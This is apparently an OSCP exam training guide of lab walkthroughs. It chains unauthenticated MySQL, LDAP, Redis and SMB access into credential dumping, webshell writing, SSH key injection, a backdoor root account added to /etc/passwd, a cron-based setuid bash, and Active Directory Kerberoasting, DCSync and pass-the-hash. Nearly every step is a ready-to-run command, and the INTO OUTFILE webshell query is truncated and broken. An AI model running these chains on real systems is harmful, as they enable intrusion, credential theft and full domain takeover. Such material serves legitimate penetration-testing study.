From Zero to OSCP

Goal: Connect to MySQL without credentials, dump the database for credentials, write a PHP shell to the web root using INTO OUTFILE, then escalate via sudo mysql.

Phase 1 — Port Scan

nmap -sC -sV -p 22,80,3306 TARGET

Phase 2 — MySQL Unauthenticated Access

MySQL is sometimes configured with an empty root password or with root accessible from any host. Always try connecting without a password first.

# No password (most common misconfiguration)
mysql -h TARGET -u root

# With --skip-password flag:
mysql -h TARGET -u root --skip-password

# Inside MySQL:
SHOW DATABASES;
USE mysql;
SELECT user, authentication_string FROM user;
SHOW GRANTS FOR 'root'@'%';

Phase 3 — Dump Credentials

USE webapp;
SHOW TABLES;
SELECT * FROM users;
# Note: look for password hashes — crack them with hashcat/john

Phase 4 — INTO OUTFILE Webshell

If MySQL runs as a user with write permission to the web root, INTO OUTFILE can write an arbitrary file to disk.

-- Check write permissions
SELECT ''
  INTO OUTFILE '/var/www/html/shell.php';

-- Access the shell:
-- curl "http://TARGET/shell.php?cmd=id"

Phase 5 — SSH Foothold

ssh labuser@TARGET   # credentials from DB dump
cat ~/user.txt

Phase 6 — sudo mysql PrivEsc

If sudo -l shows MySQL, use GTFOBins' mysql entry to spawn a root shell. The -e flag lets you run shell commands from inside mysql.

sudo -l
# (ALL) NOPASSWD: /usr/bin/mysql

sudo mysql -e '\! /bin/bash'
cat /root/root.txt

Goal: Perform an anonymous LDAP bind to enumerate directory objects and find credentials hidden in description attributes. Crack any hashed passwords found, then escalate via a writable file.

Phase 1 — Port Scan

nmap -sC -sV -p 22,389,636 TARGET  # 389=LDAP, 636=LDAPS

Phase 2 — LDAP Anonymous Bind

An anonymous bind means connecting to LDAP with no credentials. Many LDAP servers allow this and expose the entire directory structure.

# Get the base DN (domain naming context)
ldapsearch -x -H ldap://TARGET -s base namingContexts

# Full anonymous dump
ldapsearch -x -H ldap://TARGET -b "dc=lab,dc=local"

# Specific object types:
ldapsearch -x -H ldap://TARGET -b "dc=lab,dc=local" "(objectClass=person)"
ldapsearch -x -H ldap://TARGET -b "dc=lab,dc=local" "(objectClass=user)"

Phase 3 — Attribute Analysis

LDAP attributes store all kinds of data. The description attribute is commonly abused to store passwords in plaintext by lazy administrators.

# Search for all attributes of user objects
ldapsearch -x -H ldap://TARGET -b "dc=lab,dc=local" \
  "(objectClass=person)" uid userPassword description

# Also check for:
# - userPassword (often base64 or SSHA hash)
# - description (sometimes plaintext passwords)
# - info
# - comment

Phase 4 — Hash Cracking

LDAP often stores passwords as SSHA (Salted SHA-1) hashes, identified by the {SSHA} prefix.

# hashcat mode for SSHA
hashcat -m 111 -a 0 '{SSHA}HASH_HERE' /usr/share/wordlists/rockyou.txt

# john the ripper alternative
echo '{SSHA}HASH_HERE' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Phase 5 — SSH Foothold

ssh labuser@TARGET   # use cracked password
cat ~/user.txt

Phase 6 — PrivEsc via Writable /etc/passwd

If /etc/passwd is world-writable, you can add a new root-level user (or clear the root password) and su to it.

# Check write permissions
ls -la /etc/passwd

# Generate a password hash for 'password123'
openssl passwd -1 password123
# Output: $1$...hash...

# Append a new root user
echo 'hacker:$1$xyz$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd

# Switch to the new user
su hacker  # password: password123
cat /root/root.txt

Goal: Connect to an unauthenticated Redis instance and use its CONFIG SET commands to write your SSH public key to root's authorized_keys file.

Phase 1 — Port Scan

nmap -sC -sV -p 22,6379 TARGET  # 6379 = Redis default port

Phase 2 — Redis Unauthenticated Access

redis-cli -h TARGET
TARGET> PING
# Response: PONG — connected and unauthenticated

TARGET> INFO server    # version, OS, config file path
TARGET> CONFIG GET dir  # current working directory for RDB
TARGET> CONFIG GET dbfilename

Phase 3 — SSH Key Injection via RDB Save

Redis's CONFIG SET changes where it saves its database dump. By pointing it at /root/.ssh/ and saving a database containing your SSH key, the key gets written to authorized_keys.

# Step 1: Generate an SSH key on YOUR machine (if needed)
ssh-keygen -t rsa -b 2048 -f /tmp/redis_key -N ""

# Step 2: Prepare the key with newlines (Redis RDB format needs padding)
(echo -e "\n\n"; cat /tmp/redis_key.pub; echo -e "\n\n") > /tmp/key_payload.txt

# Step 3: In redis-cli, set the save directory and filename
redis-cli -h TARGET config set dir /root/.ssh/
redis-cli -h TARGET config set dbfilename authorized_keys

# Step 4: Write the key as a Redis value
cat /tmp/key_payload.txt | redis-cli -h TARGET -x set ssh_key

# Step 5: Force a save
redis-cli -h TARGET save

# Step 6: SSH as root with your key
ssh -i /tmp/redis_key root@TARGET
cat /root/root.txt

Why it works: The Redis RDB file is a binary format but the key value you set is stored as plaintext inside it. When sshd reads authorized_keys, it skips the binary garbage and finds your public key — because the key format is recognisable even with surrounding noise.

Goal: Get credentials from an SMB share on the workstation, SSH in, find further credentials for the domain, then pivot to Corp-DC.

Phase 1 — Enumerate the Workstation

nmap -sC -sV -p 22,139,445 CORP_WS_IP
smbclient -L //CORP_WS_IP -N
enum4linux -a CORP_WS_IP

Phase 2 — SMB Share Access

smbclient //CORP_WS_IP/IT -N
smb: \> ls
smb: \> get credentials.txt
smb: \> exit

cat credentials.txt  # contains domain user + password

Phase 3 — SSH Foothold on Workstation

ssh jsmith@CORP_WS_IP    # password from credentials.txt
cat ~/user.txt

Phase 4 — Local Enumeration for PrivEsc

sudo -l
find / -perm -4000 2>/dev/null
cat /etc/crontab
ls -la /etc/cron.d/
# Look for writable service scripts
ls -la /opt/ /var/www/ /etc/init.d/

Phase 5 — Writable Service Script PrivEsc

# If you find a service running as root with a writable script:
cat /etc/cron.d/backup
# * * * * * root /opt/backup.sh

ls -la /opt/backup.sh
# -rwxrwxrwx = world-writable

echo 'chmod +s /bin/bash' >> /opt/backup.sh
sleep 70  # wait for next cron cycle
/bin/bash -p
cat /root/root.txt

Phase 6 — Gather Domain Credentials for DC Attack

# On the workstation, find cached credentials or config files
find / -name "*.conf" -o -name "*.ini" -o -name "*.xml" 2>/dev/null | xargs grep -l -i "password" 2>/dev/null
cat ~/.bash_history     # previous commands sometimes contain passwords

Goal: Use credentials from Corp-WS to Kerberoast a service account on the DC, crack the TGS ticket, then use the cracked credentials to execute DCSync and dump all domain hashes.

Phase 1 — AD Enumeration with ldapdomaindump

ldapdomaindump -u 'CORP.LOCAL\jsmith' -p 'Password1!' CORP_DC_IP
# Creates HTML/JSON files with all domain objects

# Or use BloodHound ingestor:
bloodhound-python -d CORP.LOCAL -u jsmith -p Password1! -c All -ns CORP_DC_IP

Phase 2 — Kerberoasting

Kerberoasting requests Kerberos service tickets (TGS) for accounts with SPNs. These tickets are encrypted with the service account's password hash and can be cracked offline.

GetUserSPNs.py CORP.LOCAL/jsmith:Password1! -dc-ip CORP_DC_IP -request

# Output: one hash per SPN, in hashcat format
# $krb5tgs$23$*svc_backup$CORP.LOCAL$......

Phase 3 — Crack the TGS Hash

# hashcat mode 13100 = Kerberos TGS-REP (RC4-HMAC)
hashcat -m 13100 -a 0 kerberoast.hash /usr/share/wordlists/rockyou.txt

# john alternative:
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.hash

Phase 4 — Lateral Movement to DC

evil-winrm -i CORP_DC_IP -u svc_backup -p CrackedPassword123!

# Or SMBExec / PSExec if WinRM is not available:
psexec.py CORP.LOCAL/svc_backup:CrackedPassword123!@CORP_DC_IP cmd.exe

Phase 5 — DCSync — Dump All Domain Hashes

DCSync abuses domain replication rights to pull password hashes directly from the DC without touching LSASS — stealthier than a traditional dump.

secretsdump.py CORP.LOCAL/svc_backup:CrackedPassword123!@CORP_DC_IP

# Specifically dump the Administrator hash:
secretsdump.py CORP.LOCAL/svc_backup:CrackedPassword123!@CORP_DC_IP -just-dc-user Administrator

Phase 6 — Pass-the-Hash to Admin Shell

psexec.py -hashes :NTLM_HASH_HERE Administrator@CORP_DC_IP cmd.exe
type C:\Users\Administrator\Desktop\root.txt

AD quick-reference: Domain User → Kerberoast → Crack TGS → Privileged Account → DCSync → Domain Admin. Memorise this chain. It covers the majority of OSCP AD sets.